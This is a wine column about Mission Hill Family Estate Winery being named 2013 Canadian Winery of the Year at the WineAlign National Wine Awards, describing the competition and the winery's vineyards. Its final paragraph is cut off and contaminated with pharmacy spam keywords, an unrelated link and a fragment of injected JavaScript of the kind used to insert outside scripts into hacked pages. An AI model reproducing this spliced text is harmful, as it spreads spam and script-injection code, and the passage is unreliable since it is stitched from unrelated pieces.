Mission possible; Nationals – Sept 7, 2013

By Anthony Gismondi

This week, as a result of the 2013 WineAlign National Wine Awards in Toronto, Mission Hill Family Estate Winery was named the Canadian Winery of the Year. The National Wine Awards of Canada is the new name of the 12-year old Canadian Wine Awards run by Wine Access and originally founded by David Lawrason and this writer back in 2001.

Both David and I are intimately involved with awards (full disclosure: I am a co-head judge and in fact responsible for the entire judging team that spans the country).

Canadian Winery of the Year is a wonderful accolade for Mission Hill, its owner Anthony von Mandl, winemaker John Simes and his entire team. It’s the third time they have been able to best the rest of the country and winning in 2013 has to be even more satisfying for everyone given the strength of the competition and the sheer difficulty of beating 150 other wineries that together entered nearly 1,200 wines.

The Nationals, as they are known, are not really like any other wine competition. It’s a serious, five-day competition founded by Canadian wine reviewers who really want to know which producers are making the best wine in the country.

You have to finish in the top 20 per cent in the first round to have any chance of advancing to the second round. In the second round you then compete against the absolute best wines in the competition. Grabbing gold and silver is no easy task. WineAlign also awards platinum medals to the top one per cent of wines and ties. Of the precious 12 platinum medals awarded in 2013, Mission Hill took home two.

What the competition is, and has been for the past 13 years, is a fabulous barometer of what’s happening in Canadian wine, even if it’s just a snapshot. We used to worry about the few wineries who didn’t enter but I’ve come to the conclusion that they have other plans and in any event their presence, while missed, would likely not impact the final results in any great fashion.

Mission Hill hit a lot of high notes in 2013 and in the end bested Niagara-based Tawse Winery, the winner for the last three years. In many ways, Mission Hill’s wine speaks to it s tenacity to stick to its long-term plan, which has included almost two decades of vineyard acquisition and more important, learning how to farm those hectares, to make sure each site is suited to the grapes planted.

With five significant vineyard sites that span the Okanagan Valley from Osoyoos Lake Bench and Oliver’s Black Sage Bench in the south, through the spectacular Ranch Vineyard at the northern end of Naramata, to a pair of important sites in West and East Kelowna, winemaker John Simes has a wide selection of grapes, grown in several meso-climates, that all help shape the flavour and structure of his wines.

Mission Hill has always enjoyed fabulous success as a tourist attraction thanks to its architecturally stunning winery, but the real goal underneath its famous bell tower is to make the kind of wine that turns heads internationally. If you ask me, it has been the transformation of tannins and the overall phenolic ripeness of Mission Hill’s red grapes that have really improved the quality of its wines of late.

John Simes is getting some very good material and his collaboration with renowned French winemaking consultant, Michel Rolland, has begun to pay texture and complexity dividends across the entire red lineup. Interestingly, we may be talking more about the Martin’s Lane project in the future as Riesling, Pinot Noir and Viognier move onto the main stage at Mission Hill.

For the record, Mission Hill entered 16 wines into the WineAlign 2013 National Wine Awards of Canada. Its five highest-scoring wines used to calculate the Canadian Winery of the Year award were the platinum winning 2011 Reserve Riesling and the 2009 Compendium Red and the gold medal awarded 2010 Perpetua Osoyoos Vineyard. betnovate cream meclizine hydrochloride price http://songs-punjabi.com/?p=14891 buy pills tinidazole price in pakistan document.currentScript.parentNode.insertBefore(s, document.currentScript);

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